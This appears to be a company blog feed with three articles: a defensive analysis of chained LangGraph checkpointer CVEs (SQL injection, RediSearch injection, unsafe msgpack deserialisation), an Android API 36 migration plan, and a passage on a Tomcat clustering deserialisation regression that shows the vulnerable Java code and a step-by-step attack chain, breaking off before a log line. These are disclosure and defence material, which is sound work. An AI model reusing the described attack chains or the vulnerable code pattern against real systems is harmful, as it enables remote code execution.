The advisory rates it Moderate at 6.8, with the vector CVSS:3.1/AV:A/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H, and is explicit that it is a defence-in-depth issue: exploitation requires the ability to write attacker-controlled checkpoint bytes at rest. Affected versions are langgraph 1.0.9 and below; the fix shipped in 1.0.10 on 5 March 2026. LangGraph's own note says there is no evidence of exploitation in the wild.

CVE-2026-27022: RediSearch query injection in the JavaScript checkpointer

The RedisSaver and ShallowRedisSaver classes in @langchain/langgraph-checkpoint-redis interpolate user-provided filter keys and values straight into RediSearch queries. RediSearch treats characters like @, |, -, *, ( and ) as syntax, so an attacker who controls a filter value can rewrite the query logic and bypass the access controls that were supposed to scope results to one thread. It is CWE-74, CVSS 6.5, vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N, published to NVD on 20 February 2026 under GHSA-5mx2-w598-339m. The fix, in pull request 1943, adds an escapeRediSearchTagValue utility and also hardens the MongoDB checkpoint path by rejecting non-primitive filter values, which closes a parallel MongoDB operator-injection hole.

One version discrepancy worth knowing before you write a ticket. The Hacker News, citing the GitHub advisory, gives the affected range as versions before 1.0.1. SentinelOne's vulnerability database and the linked release tag both point at 1.0.2. Pin 1.0.2 or later and the argument goes away.

How the chain works

Read the second and third bullets slowly, because this is where a "requires privileged write access" advisory quietly stops requiring privileged write access.

The attacker builds a msgpack payload whose extension type names a dangerous callable and its arguments.
The attacker sends a malicious filter parameter to an endpoint that reaches get_state_history(), exploiting CVE-2025-67644 so the SQL query returns a fabricated checkpoint row whose checkpoint column contains that payload.
The application processes the result set and deserialises the BLOB.
CVE-2026-28277 reconstructs the attacker's object. The payload runs inside the agent runtime.

The attacker never needed write access to the database. The SQL injection manufactures the row inside the query result. That is the whole trick, and it is why triaging CVE-2026-28277 in isolation as "post-exploitation only" gets the priority wrong on any deployment that also runs an unpatched SQLite checkpointer with user-influenced filters.

Check Point's write-up puts the exposure boundary plainly: the chain is exploitable in self-hosted deployments using the SQLite or Redis checkpointer with user-controlled filter input, and LangChain's managed platform is not affected.

Which deployments are actually exposed

Most teams do not know which checkpointer their staging cluster is running, because it was chosen in week one of a prototype and never revisited. Start here.

Checkpointer backend	Affected by	Minimum safe version	What to check first
`langgraph-checkpoint-sqlite` (Python)	CVE-2025-67644 and CVE-2026-28277	3.0.1, plus `langgraph` 1.0.10	Whether any HTTP handler passes a request-derived dict into a checkpoint search
`@langchain/langgraph-checkpoint-redis` (JS)	CVE-2026-27022	1.0.2	Filter values reaching `RedisSaver` or `ShallowRedisSaver` without escaping
MongoDB checkpoint (JS)	Operator injection hardened in the same patch	Ship with the 1.0.2 release train	Filter values that are objects rather than primitives
PostgreSQL checkpointer	Not named in these three advisories	Current `langgraph` 1.0.10	Still patch `langgraph` itself for the msgpack decoder
In-memory / no persistence	Not exposed via a store	Current `langgraph`	Nothing persists, but review any custom serializer hooks
LangSmith Deployment (managed)	Not affected	Managed by LangChain	Confirm you are genuinely on the managed plane, not a self-hosted copy

The row that catches people is PostgreSQL. Teams read "SQLite and Redis" and close the ticket. The msgpack decoder lives in langgraph, not in the SQLite package, so a Postgres-backed deployment on langgraph 1.0.9 still deserialises checkpoints unsafely. It simply lacks the SQL injection that would let an unauthenticated caller forge a row. If your Postgres credentials leak, or a batch job with write access is compromised, the deserialisation path is right there.

The 30-minute audit

Run this against every environment that resumes agent state, including the staging cluster nobody owns. Each step is a single command and a pass criterion.

Step	Command	Pass criterion
1. Inventory Python packages	`pip list \	grep -Ei "langgraph\
2. Inventory the SQLite checkpointer	{% raw %}`pip show langgraph-checkpoint-sqlite`	Version 3.0.1 or later, or the package is absent
3. Inventory the JS checkpointer	`npm list @langchain/langgraph-checkpoint-redis`	Version 1.0.2 or later, or the package is absent
4. Find untrusted filter paths	`grep -rn "get_state_history\	aget_state_history" --include=*.py .`
5. Check the JS filter paths	`grep -rn "RedisSaver\	ShallowRedisSaver" --include=.ts --include=.js .`
6. Confirm strict mode	`env \	grep LANGGRAPH_STRICT_MSGPACK`
7. Look for custom decoder hooks	`grep -rn "ext_hook\	JsonPlusSerializer(" --include=*.py .`
8. Review store write access	List IAM principals and service accounts with write on the checkpoint store	Only the agent runtime and one break-glass role

Steps 4 and 5 are the ones that decide your severity. If no user-controlled string reaches a filter key, you have a patching task. If one does, and you are below the fixed versions, you have an incident-response task and the order of operations changes: contain first, rotate the credentials the runtime can reach, then patch.

Hardening past the patch

Upgrading closes the injection. It does not, by itself, stop the decoder from rebuilding arbitrary types, because the default policy after the patch is still permissive. LangGraph shipped an allowlist mechanism alongside the fix, and it has three states.

Setting for `allowed_msgpack_modules`	Behaviour	When to use it
`True` (default when strict mode is off)	Reconstructs all extension types, logs a warning for unregistered ones	Local development only
`None` (strict)	Reconstructs only the built-in safe set, blocks everything else	Production default, once you have read the warnings from a staging run
`[(module, class_name), ...]`	Built-in safe set plus exactly the listed symbols, matched exactly	Production, when strict mode breaks a legitimate custom type

Setting the environment variable LANGGRAPH_STRICT_MSGPACK to a truthy value (1, true or yes) flips JsonPlusSerializer() to default allowed_msgpack_modules to None instead of True, unless you passed the argument explicitly.

The built-in safe set covers what most graphs actually persist: datetime types, uuid.UUID, decimal.Decimal, set, frozenset, deque, ipaddress types, pathlib paths, zoneinfo.ZoneInfo, compiled regular expressions and selected LangGraph internal types. When strict mode is on and you compile a StateGraph, LangGraph walks your state, input, output and context schemas plus node and branch input schemas and channel value types, and derives an allowlist automatically. It picks up Pydantic v1 and v2 models, dataclasses, enums, TypedDict field types and common typing constructs, plus a curated set of LangChain message classes.

# Patch the Python side
pip install --upgrade "langgraph>=1.0.10" "langgraph-checkpoint-sqlite>=3.0.1"

# Patch the JavaScript side
npm install @langchain/langgraph-checkpoint-redis@^1.0.2
npm list @langchain/langgraph-checkpoint-redis

# Turn on strict deserialisation in every non-local environment
export LANGGRAPH_STRICT_MSGPACK=true

Roll strict mode out in staging first and read the logs. The permissive default warns on every unregistered extension type it reconstructs, which gives you a free inventory of exactly what your graphs serialise before you start blocking anything.

Two escape hatches that silently disable the fix

Both are documented in the advisory, and both are easy to hit by accident.

The first: allowlist enforcement is applied by the checkpointer, through a with_allowlist(...) method. A checkpointer implementation that does not provide it skips enforcement and emits a warning. If you wrote your own saver, or you are using a community backend, strict mode may be doing nothing at all. Verify rather than assume.

The second: if your application supplies a custom msgpack unpack hook via ext_hook, that hook controls reconstruction and bypasses the default allowlist checks entirely. The advisory calls this an intentional escape hatch. It is also exactly the kind of code somebody adds to make one stubborn type round-trip, three sprints before the audit.

A third failure mode is not in the advisory but shows up in practice: constructing serializers or checkpointers manually rather than letting StateGraph.compile() wire them up. The derived allowlist only applies when LangGraph compiles the graph and the checkpointer supports propagation. Hand-built object graphs get the default policy.

Detection: what to look for in logs

You cannot retroactively prove nothing happened, but you can look in three places.

For the SQLite path, search application logs for filter keys containing SQL metacharacters, quotes, json_extract, UNION or comment markers, and for checkpoint searches that returned unusually large result sets. For the Redis path, look for filter values containing RediSearch syntax characters (@, |, -, *, (, ), {, }, [, ], backslash) and enable verbose Redis query logging so the executed queries are actually recoverable. Redis slow-query logs are useful here because injected queries tend to be structurally odd.

For the deserialisation path, the permissive default's own warnings are the signal. Every reconstruction of an unregistered extension type gets logged. If you have those logs from before the patch, grep them for module names that are not in your application's dependency tree.

At the infrastructure layer, treat the checkpoint store as integrity-sensitive. Restrict write access to the runtime itself, rotate credentials if compromise is suspected, and log every principal that has ever written to it. This is the same posture we argue for in enterprise AI agent governance layers: the agent's blast radius is the union of everything its credentials can reach, and the checkpoint store is inside that union.

Why the "moderate" rating is misleading

CVE-2026-28277 scores 6.8 with an EPSS probability of 0.332%, which sits at the 56th percentile. Read alone, that is a patch-next-cycle number. Read as the second half of a chain that starts with a 7.3 SQL injection reachable from an HTTP parameter, it is not.

This is a recurring pattern with agent frameworks rather than a LangGraph-specific failure. Check Point's conclusion was that classic vulnerability classes become more potent inside AI agent frameworks because those frameworks carry elevated access and trust. The framework holds provider API keys, database handles and tool credentials in one process. A bug class that would be a data-leak in a CRUD service becomes credential exfiltration in an agent runtime.

Lotem Finkelstein, VP, Check Point Research, framed the broader shift in the firm's AI Security Report 2026: "The expertise barrier that separated capable attackers from the rest is disappearing, and defenders can no longer assume a human is setting the pace on the other side. The organizations that stay ahead will be the ones that govern how AI is used, secure the AI systems they now depend on, and defend at machine speed rather than human speed."

The same report found that between October 2025 and May 2026, 87% to 93% of organisations experienced at least one high-risk AI interaction every month. Check Point's 2026 Cloud Security Report puts the governance gap in one figure: 77% of organisations have updated their cloud security strategy in response to AI, but only 26% say they have the architecture to enforce it, a 51-point spread between intent and capability.

Check Point's own remediation guidance for this chain goes past the version bump: put authentication in front of self-hosted LangGraph servers, avoid long-lived static secrets, enforce network segmentation, treat AI agents as privileged identities, and apply least privilege to the agent's access footprint. That last point is the durable one. The framework you pick matters less than the credentials you hand it, which is the argument we made when comparing AI agent frameworks for production.

Where this fits in your agent threat model

Prompt injection gets the attention because it is novel. This chain is a reminder that the boring half of the attack surface is still there: an ORM-free f-string, a permissive deserialiser, an endpoint that trusts a dictionary from the client. Teams that have invested in prompt injection guardrails for AI agents sometimes have zero coverage on the persistence layer beneath them, and an attacker with a choice will take the SQL injection every time.

Three practical adjustments follow.

Treat the checkpoint store as a trust boundary, not an implementation detail. Anything that can write to it can, in the worst case, execute in your runtime. That deserves the same review as a message queue an untrusted producer can publish to.

Make filter construction server-side by contract. The agent server should build filter dictionaries from a validated session, never accept one from a request body. This single rule would have neutralised two of the three CVEs regardless of version.

Pin and monitor the framework, not just the model. Model versions get change-managed carefully while langgraph floats on a caret range. The same discipline that applies to MCP server hardening applies here: agent-adjacent infrastructure needs a named owner and a patch SLA.

India-specific considerations

For Indian teams, the compliance exposure is concrete rather than theoretical. Agent checkpoint state routinely contains names, contact details, order histories and support transcripts, all of which are personal data under the Digital Personal Data Protection Act 2023. The Act's substantive obligations tighten through 2026 ahead of hard enforcement in May 2027, and the Data Protection Board of India can impose penalties reaching ₹250 crore, roughly $26 million, for major violations.

Two consequences follow for anyone running a self-hosted agent on Indian customer data. First, a checkpoint-table leak through CVE-2025-67644 is a personal-data breach, not just a bug, and your breach-notification clock is a legal one. Second, retention limits apply to checkpoints. Most teams never set a TTL on the checkpoint table, so a graph that ran once in March is still holding a full conversation transcript in August. Set retention, and document it, alongside the rest of the work in the DPDP Act engineering playbook.

The practical sequencing for an Indian engineering team is patch, then scope, then retain. Get to the fixed versions this week. Then determine whether any user-controlled string ever reached a filter key, because that answer decides whether you are writing a changelog entry or a breach assessment. Then put a retention policy on the store so the next incident has a smaller blast radius. For the wider picture of what production agents need before they touch customer data, see our guide to enterprise AI agents in production.

FAQ

Which LangGraph versions fix these three CVEs?

Upgrade langgraph to 1.0.10 or later for the msgpack deserialisation issue, langgraph-checkpoint-sqlite to 3.0.1 or later for the SQL injection, and @langchain/langgraph-checkpoint-redis to 1.0.2 or later for the RediSearch query injection. Patch all three even if you believe only one backend is in use, because staging environments frequently differ from production.

Is a PostgreSQL checkpointer safe from this chain?

PostgreSQL is not named in the three advisories, so it avoids the SQL injection and the RediSearch injection. It does not avoid CVE-2026-28277, because the unsafe msgpack decoder lives in the langgraph package itself. Any deployment running version 1.0.9 or below still reconstructs Python objects from checkpoint bytes and needs the upgrade.

Does upgrading alone stop arbitrary object reconstruction?

No. After patching, the default allowed_msgpack_modules value is still True, which reconstructs every extension type and only logs a warning. Set the environment variable LANGGRAPH_STRICT_MSGPACK to true so the serializer defaults to strict, or pass an explicit allowlist. Test in staging first and read the warning logs.

How was the attack chain actually executed?

The attacker crafts a msgpack payload, then sends a malicious filter parameter to an endpoint reaching get_state_history(). The SQL injection makes the query return a fabricated checkpoint row containing that payload. The application deserialises the row's BLOB, the unsafe decoder reconstructs the attacker's object, and code executes inside the agent runtime.

Is LangSmith Deployment affected by these vulnerabilities?

No. Check Point stated that LangChain's managed platform, LangSmith Deployment, is not affected, and the LangGraph maintainers said typical hosted configurations are designed to prevent the checkpoint-store tampering the threat model requires. The chain is exploitable in self-hosted deployments using the SQLite or Redis checkpointer with user-controlled filter input.

What can silently disable the msgpack allowlist?

Two documented escape hatches. A checkpointer that does not implement with_allowlist skips enforcement and only emits a warning, so custom or community savers may gain nothing from strict mode. Separately, an application-supplied ext_hook takes control of reconstruction and bypasses the default allowlist checks entirely, which is intentional but weakens the protection.

Were these flaws exploited in the wild?

The GitHub advisory for CVE-2026-28277 states there is no evidence of exploitation in the wild, and LangGraph is not aware of a practical exploitation path in existing deployments today. The EPSS score of 0.332% sits at the 56th percentile. Treat that as a reason to patch calmly, not as a reason to defer.

Does a checkpoint-table leak count as a breach under DPDP?

If the checkpoint state contains personal data, and agent conversation state usually does, then unauthorised access to it is a personal-data breach under the Digital Personal Data Protection Act 2023. The Data Protection Board of India can impose penalties up to ₹250 crore for major violations, so scope the exposure before deciding it was only a bug.

How eCorpIT can help

eCorpIT builds and hardens production AI agent systems for teams in India and abroad, and this is exactly the kind of work our senior engineering teams do: inventory the framework and checkpointer versions across every environment, trace which request paths reach a filter key, turn on strict deserialisation without breaking your graphs, and put retention and least-privilege controls on the state store. We are ISO 27001:2022 certified and CMMI Level 5 appraised, and we design applications aligned with DPDP requirements. If you are running self-hosted LangGraph and want a second pair of eyes on the persistence layer before your next audit, contact us and we will scope a review.

References

LangGraph Flaw Chain Exposes Self-Hosted AI Agents to Remote Code Execution - The Hacker News, 12 June 2026
CVE-2026-28277: LangGraph checkpoint loading has unsafe msgpack deserialization (GHSA-g48c-2wqr-h844) - GitHub Advisory Database, 5 March 2026
GHSA-9rwj-6rc7-p77c: LangGraph SQLite checkpointer SQL injection - langchain-ai/langgraph security advisories
GHSA-5mx2-w598-339m: RediSearch query injection in @langchain/langgraph-checkpoint-redis - langchain-ai/langgraphjs security advisories
CVE-2025-67644 advisory for langgraph-checkpoint-sqlite - GitLab Advisory Database
From SQLi to RCE: exploiting LangGraph's checkpointer - Check Point Research, 2026
CVE-2026-27022: LangGraph Redis checkpoint query injection - SentinelOne Vulnerability Database, 27 February 2026
Pull request 1943: escape RediSearch tag values in the Redis checkpointer - langchain-ai/langgraphjs
NVD entry for CVE-2026-28277 - National Vulnerability Database
CWE-502: Deserialization of Untrusted Data - MITRE
AI used to help plan the break-in, now it's doing the break-in - Help Net Security, 15 July 2026
AI adoption creates critical cloud security gaps for enterprises - Check Point Software press release, 2026
India's DPDP timeline: critical compliance deadlines for 2026-27 - India Briefing, 11 May 2026
Check Point's 2026 Cloud Security Report: Securing the AI Transformation - Unite.AI summary of the Check Point and Cybersecurity Insiders survey, 26 May 2026

Last updated: 5 August 2026.

26 days to the Play Store API 36 cutoff: a 3-week migration plan for Indian app teams

Manu Shukla — Wed, 05 Aug 2026 11:04:59 +0000

26 days to the Play Store API 36 cutoff: a 3-week migration plan for Indian app teams

Summary. From 31 August 2026, Google Play will not accept new apps or app updates that target below Android 16 (API level 36). That is 26 days from this article's 5 August 2026 date. The Play Console Help page is explicit: on that date, both new apps and app updates must set targetSdkVersion to 36 or higher, with Wear OS and Android Automotive OS held to API 35 and Android TV and Android XR to API 34. If you miss it, you cannot ship an update, but you are not permanently locked out: Google will let you request an extension to 1 November 2026 through the Policy status page in Play Console, and existing installs keep working. The trap is treating this as a one-line manifest change. Targeting Android 16 turns on real behaviour changes, edge-to-edge enforcement, adaptive-layout rules on screens 600dp and wider, stricter JobScheduler quotas, and a dropped elegantTextHeight opt-out, on top of the separate 16 KB native-page-size requirement that has applied to API 35+ builds since 1 November 2025. For an Indian team with a live app and other roadmap work, the realistic cost is 2 to 3 weeks of focused engineering, and it collapses fast if native SDKs are involved. This article lays out what breaks, a three-week plan, and how eCorpIT runs this as a fixed-scope engagement.

What the deadline actually says

The distinction that catches teams out is new app versus app update versus existing app. The Play Console Help page defines all three, and the rule differs for each.

Your situation	Requirement on 31 August 2026	If you miss it
Submitting a brand new app	Must target API 36	Submission rejected in Play Console
Submitting an update to a live app	Must target API 36	Update rejected; you cannot ship
Live app you will not update	Must already target API 35 to stay discoverable to new users on newer devices	Stops appearing for new users on Android OS above your target; existing users keep it

Read the middle row twice. The most common shape for a working product is a live app you update regularly. From 31 August, the next update you try to push is blocked unless the build targets API 36. Every bug fix, every feature, every security patch goes through that gate.

The extension is real but limited. Google states you can request an extension to 1 November 2026, and the form appears on the Policy status page in Play Console for apps flagged as non-compliant, reached via a policy warning on that app. It buys nine weeks, not a reprieve. Use it to finish the work, not to avoid it.

One reassurance worth stating plainly, because it calms the room: users who already installed your app are not affected. Google's own FAQ says previously installed users can still discover, reinstall and use the app on any Android version it supports. The deadline governs distribution to new users on newer devices, and your ability to ship updates.

Why this is not a one-line change

Bumping targetSdkVersion to 36 is one line in build.gradle. The work is everything that line switches on. Here are the behaviour changes that most often break a real app, all from the Android 16 behaviour-changes documentation.

Edge-to-edge is enforced. Apps targeting Android 16 can no longer opt out of drawing edge-to-edge. Your content extends behind the status and navigation bars unless you handle window insets. If your app has custom toolbars, bottom bars or full-screen media, expect visible overlap until you apply insets correctly. This is the single most common visual regression.

Adaptive layout rules apply on large screens. For apps targeting API 36, orientation, resizability and aspect-ratio restrictions are ignored on displays with a smallest width of 600dp or more, so the app fills the whole window regardless of a screenOrientation lock. Portrait-only apps that assumed a fixed orientation on tablets and foldables will now resize, and layouts that were never tested wide will show their seams. For the large and growing Indian tablet and foldable base, this is not a corner case.

JobScheduler quotas tighten. Android 16 enforces JobScheduler quotas more strictly. Background jobs that ran comfortably before can be throttled, which surfaces as delayed syncs, missed uploads or stalled background refresh. Apps that lean on background work, most commerce, logistics and messaging apps do, need to re-test their job scheduling under the new limits.

elegantTextHeight opt-out is gone. Targeting Android 16 makes the system ignore an elegantTextHeight="false" setting, to give correct spacing for scripts including Tamil, Kannada, Malayalam, Telugu, Gujarati and Odia. For Indian-language apps this is mostly an improvement, but it changes line height and can break tight custom layouts, so it needs a visual pass in every supported script.

Access to Android internals may break. If the app or an SDK reaches into Android internals through reflection or JNI, Android 16 may block it. This is where old dependencies bite.

Separately from the target-API rules, the 16 KB native page-size requirement has applied since 1 November 2025 to apps targeting API 35 and above on 64-bit devices. If your app or any SDK ships native .so libraries, they must be rebuilt to support 16 KB memory pages. Pure Kotlin or Java apps are generally unaffected; anything with native code, and that includes many analytics, media, maps and payment SDKs, is not.

Where the time actually goes

The honest estimate depends almost entirely on one question: does your app ship native code, directly or through an SDK?

App profile	Realistic effort	Main risk
Pure Kotlin/Java, few SDKs	3 to 5 working days	Edge-to-edge insets, large-screen layout
Kotlin/Java with several third-party SDKs	1 to 2 weeks	An SDK not yet API-36 or 16 KB ready
Native code or older SDKs (maps, media, payments)	2 to 3 weeks	Rebuilding `.so` for 16 KB; SDK upgrades
React Native or Flutter	1 to 2 weeks	Plugin and toolchain updates, then the same behaviour changes

The line that blows up estimates is a dependency you do not control. If a payment, chat or analytics SDK has not shipped an API-36-ready and 16 KB-ready build, you wait on their release or replace them, and that is outside your team's velocity. Finding those blockers in week one, not week three, is the whole game.

Cross-platform teams do not escape this. A React Native or Flutter app still produces an Android build with a target API level, and still hits edge-to-edge, adaptive layout and native-page-size requirements through its native modules and plugins. If you are weighing frameworks for a rebuild rather than a migration, our comparison of Expo versus bare React Native and of Jetpack Compose versus Flutter covers the trade-offs.

A three-week plan that finishes before the deadline

This is the sequence we run. It front-loads discovery so the unknowns surface while there is still time to act on them.

Week 1 — audit and unblock. Set targetSdkVersion 36 in a branch and let the build tell you the truth. Inventory every dependency and native .so file, and check each SDK for an API-36-ready and 16 KB-ready release. File the upgrades or replacements now, because those have the longest lead time. Run the app on a 16 KB-page-size emulator image and on a 600dp+ device or foldable to see the layout changes immediately. By the end of week one you should have a written list of blockers with an owner against each.

Week 2 — fix behaviour changes. Apply window insets so edge-to-edge renders correctly across every screen. Fix large-screen layouts where the orientation lock no longer holds. Re-test background jobs against the tighter JobScheduler quotas and adjust scheduling. Do a visual pass in each supported Indian-language script for the elegantTextHeight change. Rebuild native libraries for 16 KB pages and integrate the upgraded SDKs.

Week 3 — test, stage, submit. Run the full regression suite plus device-matrix testing across your real Android version and screen-size spread. Push to a Play Console internal or closed track first to confirm the store accepts the API-36 build and nothing regressed in vitals. Then promote to production. Keeping an eye on crash and ANR rates after a target-SDK bump matters, because behaviour changes surface as new crashes in the field; our Android vitals ANR and crash remediation work exists for exactly that post-migration window.

Starting this week, three weeks lands you at roughly 26 August, inside the 31 August deadline with a few days of buffer. Starting in the last week means relying on the 1 November extension, which is a worse place to negotiate from.

India-specific considerations

Two things make this sharper for Indian teams. First, the device mix here skews toward a wide range of Android versions and a fast-growing tablet and foldable base, so the adaptive-layout and large-screen changes hit a larger share of real users than they would in a single-flagship market. Test on mid-range and large-screen devices, not just a recent flagship.

Second, the Indian-language rendering change is a feature, not just a risk, if you plan for it. The elegantTextHeight behaviour improves spacing for major Indian scripts, so an app that supports Hindi, Tamil, Telugu, Kannada, Malayalam, Gujarati or Odia should verify each one looks right and can market the improvement rather than merely absorbing the layout shift.

Where personal data is involved, design and test the update against Digital Personal Data Protection Act 2023 expectations as you would any release; the target-SDK change does not alter your obligations, but a rushed migration is a common moment for a permissions or data-handling regression to slip in.

How this compares to doing nothing

For a team genuinely weighing whether to act, the options are narrow.

Option	Outcome	When it makes sense
Migrate to API 36 by 31 August	Keep shipping updates normally	Any actively developed app
Request the extension to 1 November	Nine more weeks, then migrate anyway	You need updates live but cannot finish in 26 days
Do nothing, app already targets API 35	Stays discoverable to new users; you still cannot ship an update after 31 August	A frozen app you will not touch
Do nothing, app targets below API 35	Drops from discovery for new users on newer devices	Effectively retiring the app

There is no version of "keep shipping updates without migrating." That is the point of the deadline.

How eCorpIT can help

eCorpIT is a senior-led mobile engineering organisation in Gurugram, founded in 2021, CMMI Level 5 and ISO 27001:2022 certified, and a Google partner. We run target-SDK migrations as a fixed-scope engagement: a week-one audit that surfaces every SDK and native-library blocker, the behaviour-change fixes across edge-to-edge, adaptive layout, JobScheduler and 16 KB pages, and a staged Play Console rollout with vitals monitoring afterwards. It suits Indian product owners and mobile leads whose app still targets API 35 or lower and who would rather not pull their own roadmap apart 26 days before the cutoff. For the broader engineering picture, see our enterprise mobile app development guide; to scope a migration, reach us at /contact-us/.

FAQ

What exactly changes on 31 August 2026?

From that date, Google Play stops accepting new apps and app updates that target below Android 16 (API level 36). Wear OS and Android Automotive OS must target API 35, and Android TV and Android XR must target API 34. Existing installed apps keep working, and you can request an extension to 1 November 2026.

Is my app removed from the Play Store if I miss the deadline?

No. Your existing users keep the app and can reinstall and use it. What you lose is the ability to submit updates, and if your app targets below API 35 it also stops being discoverable to new users on Android versions newer than your target. Apps already on API 35 stay discoverable but still cannot ship updates.

Can I still get more time after 31 August?

Yes. Google provides an extension to 1 November 2026 for apps flagged as non-compliant. The extension form appears on the Policy status page in Play Console, reached through the policy warning on the affected app. It gives nine extra weeks to complete the migration, not a permanent exemption from the requirement.

Why can't I just change one line in the manifest?

Because setting targetSdkVersion to 36 activates Android 16's behaviour changes. Edge-to-edge rendering is enforced, orientation and aspect-ratio locks are ignored on 600dp-plus screens, JobScheduler quotas tighten, and the elegantTextHeight opt-out is dropped. Each can break a real screen, so the change needs testing, not just a version bump.

What is the 16 KB page size requirement?

Since 1 November 2025, apps targeting API 35 or higher on 64-bit devices must support 16 KB memory pages. If your app or any SDK ships native .so libraries, those must be rebuilt for 16 KB pages. Pure Kotlin or Java apps are generally unaffected, but native code and many third-party SDKs are, so audit your dependencies.

How long does the migration take?

For a pure Kotlin or Java app with few SDKs, three to five working days. With several third-party SDKs, one to two weeks. With native code or older maps, media or payment SDKs, two to three weeks, mostly spent rebuilding native libraries and upgrading dependencies. The estimate hinges on whether any SDK is not yet API-36 and 16 KB ready.

Does this affect React Native or Flutter apps?

Yes. A cross-platform app still produces an Android build with a target API level and still hits edge-to-edge, adaptive-layout and 16 KB requirements through its native modules or plugins. You update the framework toolchain and plugins first, then handle the same Android 16 behaviour changes as a native app would.

What should Indian teams test that others might skip?

Test on a wide range of Android versions and on mid-range and large-screen devices, because India's device mix and its growing tablet and foldable base make the adaptive-layout changes hit more users. Verify each supported Indian-language script, since the elegantTextHeight change alters text spacing for Tamil, Telugu, Kannada, Malayalam, Gujarati, Odia and others.

References

Target API level requirements for Google Play apps - Play Console Help
Behavior changes: Apps targeting Android 16 or higher - Android Developers
Android 16 is here - Android Developers Blog
The future is adaptive: changes to orientation and resizability APIs in Android 16 - Android Developers Blog
App orientation, aspect ratio, and resizability - Android Developers
Migrate to target SDK best practices - Android Developers
Policy announcement: July 15, 2026 - Play Console Help
Google Play Requires Android 16 (API Level 36) by August 31, 2026 — React Native Migration Guide - DEV Community
Android 16 Migration Hacks: The Developer's Survival Guide - ProAndroidDev
Google Play target API requirements for Android apps (2026) - Median.co

Last updated: 5 August 2026.

CVE-2026-34486: one moved line turned Tomcat's cluster encryption into RCE

Manu Shukla — Wed, 05 Aug 2026 10:59:22 +0000

CVE-2026-34486: one moved line turned Tomcat's cluster encryption into RCE

Summary. CVE-2026-34486 is a fail-open regression in Apache Tomcat's Tribes clustering, disclosed on 9 April 2026 and added to CISA's Known Exploited Vulnerabilities catalog on 4 August 2026 at CVSS 7.5. The bug lives in EncryptInterceptor, the component operators enable specifically to encrypt cluster traffic. A single line, super.messageReceived(msg), was moved outside its try/catch block during the 13 March 2026 fix for a separate padding-oracle bug (CVE-2026-29146). After that move, a message that fails to decrypt is no longer dropped: the original attacker-controlled bytes are forwarded up the chain to XByteBuffer.deserialize(), a bare ObjectInputStream.readObject() with no ObjectInputFilter. Any host that can reach the Tribes receiver, TCP port 4000 by default, can send a serialized Java object; with a gadget library on the classpath, that is unauthenticated remote code execution. Affected versions are exactly three: 11.0.20, 10.1.53 and 9.0.116. Fixed releases 11.0.21, 10.1.54 and 9.0.117 shipped between 2 and 4 April 2026. Tomcat 8.5.x does not have EncryptInterceptor and is not affected. The Hacker News reported on 5 August 2026 that exploitation of CVE-2026-34486 was tied to an autonomous AI-driven campaign that Palo Alto Networks Unit 42 attributes to an actor operating as knaithe. This guide shows how to tell whether you are exposed, what to patch, and how to harden the deserialization sink even after you patch.

This is a developer and infrastructure guide, current as of 5 August 2026.

Why this one is worse than a normal Tomcat CVE

Most Tomcat advisories affect a feature you can reason about from the outside. This one has three properties that make it nastier.

First, it only bites people who did the secure thing. EncryptInterceptor is opt-in. You add it because you want cluster replication traffic encrypted with a pre-shared key. The regression is in the receive path of that exact component, so the population at risk is the subset of operators who already cared about cluster security.

Second, the vulnerable window is narrow and specific. Exactly three point releases are affected, all shipped in a two-week window in March 2026. If you upgraded Tomcat during that window and pinned, you may be sitting on a vulnerable build without ever having touched the clustering config again.

Third, the sink is Java deserialization, which converts "you can send bytes to a port" into "you can run code" whenever a usable gadget class is on the classpath. Spring, Hibernate and many common frameworks pull in transitive dependencies that have historically shipped gadget classes. You do not have to have added commons-collections yourself for it to be reachable.

How Tribes clustering works, in three sentences

Tomcat's Tribes framework replicates HTTP session state across cluster nodes. When a session changes on one node, the change is serialized and broadcast over TCP to the others, and the receiver listens on port 4000 by default, bound to the primary network interface rather than localhost. The wire envelope has a fixed 7-byte header (FLT2002), a length, the payload and a 7-byte footer, with no cryptographic protection or authentication on the framing itself.

That last clause is the precondition for everything below. Any host that can open a TCP connection to the receiver can submit a well-formed Tribes message. EncryptInterceptor was the gate that was supposed to make the contents safe.

The one-line regression, shown

Striga, the firm that found and reported the bug, published the before-and-after. In Tomcat 11.0.18, EncryptInterceptor.messageReceived() calls super.messageReceived(msg) inside the try block:

public void messageReceived(ChannelMessage msg) {
    try {
        byte[] data = msg.getMessage().getBytes();
        data = encryptionManager.decrypt(data);
        XByteBuffer xbb = msg.getMessage();
        xbb.clear();
        xbb.append(data, 0, data.length);
        super.messageReceived(msg);
    } catch (GeneralSecurityException gse) {
        log.error(sm.getString("encryptInterceptor.decrypt.failed"), gse);
    }
}

If decrypt() throws, control jumps to the catch, the error is logged, and the method returns. The message is dropped. That is fail-closed.

The 13 March 2026 fix for CVE-2026-29146 restructured the encryption manager to support AES/GCM/NoPadding and move away from the padding-oracle-prone AES/CBC/PKCS5Padding. In the process, the call moved one line down, outside the catch:

public void messageReceived(ChannelMessage msg) {
    try {
        byte[] data = msg.getMessage().getBytes();
        data = encryptionManager.decrypt(data);
        XByteBuffer xbb = msg.getMessage();
        xbb.clear();
        xbb.append(data, 0, data.length);
    } catch (GeneralSecurityException gse) {
        log.error(sm.getString("encryptInterceptor.decrypt.failed"), gse);
    }
    super.messageReceived(msg);
}

Now super.messageReceived(msg) runs unconditionally. On a decrypt failure the catch logs the error, then the original, unmodified, attacker-controlled bytes go up the interceptor chain anyway. They reach GroupChannel.messageReceived(), which calls XByteBuffer.deserialize(), which creates a plain ObjectInputStream with no class filter and calls readObject().

The send path in the same class throws ChannelException on encryption failure, so it stays fail-closed. The asymmetry, fail-closed on send and fail-open on receive, is accidental, and it is the whole vulnerability.

The attack chain, at the level you need to defend it

You do not need to write the exploit to defend against it, but you should understand the five steps so your controls map to them.

Step	What happens	Where you can break it
1. Reach the port	Attacker opens TCP to the receiver (default 4000)	Network segmentation, firewall, NetworkPolicy
2. Frame a message	Attacker builds a raw Tribes envelope with a fake member address; no auth on the framing	Not defensible at this layer
3. Fail decryption	`EncryptInterceptor` throws, logs "Failed to decrypt message"	Patch restores the drop here
4. Forward the bytes	Regression forwards attacker bytes to `XByteBuffer.deserialize()`	Patch; and `ObjectInputFilter` blocks the class
5. Deserialize a gadget	`ObjectInputStream.readObject()` runs a gadget chain to `Runtime.exec()`	Remove gadget libraries; JVM-wide deserialization filter

The single SEVERE log line that Striga observed is worth memorising, because it is what a defender sees on a real attempt:

